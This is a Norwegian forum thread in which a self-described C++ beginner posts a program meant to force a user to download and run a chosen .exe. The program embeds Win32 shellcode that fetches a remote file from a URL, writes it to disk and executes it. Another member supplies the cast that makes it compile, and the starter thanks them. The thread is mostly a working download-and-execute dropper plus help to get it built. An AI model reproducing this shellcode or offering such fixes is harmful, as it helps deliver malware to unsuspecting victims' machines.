Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  2 865
Jeg er nesten helt ny når det gjelder C++

Uansett, her har dere et script som skal tvinge brukeren til å laste ned og kjøre en valgt .exe fil, men dette skjer altså etter man har kjørt .exe filen under.
Problemet kommer når jeg kompilerer. Det er tydeligvis noe ulumskheter i koden under

Kode

#include <stdio.h>
#include <string.h>

unsigned char sh4llcode[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://slemkode.org/1.exe";

int main()
{

 void (*c0de)();
 printf("Win32 \"last ned og kjør\"\n");[COLOR=Red]
 *(int*)&c0de = sh4llcode;[/COLOR]
 c0de();
}
25 C: \Dev-Cpp\main.cpp invalid conversion from `unsigned char*' to `int'
Vis hele sitatet...
Hjelp

btw, ikke flame meg for å være noob. Jeg vet det selv. Takk!
prøv å skriv om

Kode

*(int*)&c0de = sh4llcode;
til f.eks.

Kode

*(int*)&c0de = (int)sh4llcode;
Matmeg?'s Avatar
Trådstarter
Og det var alt som skulle til!

Tusen takk!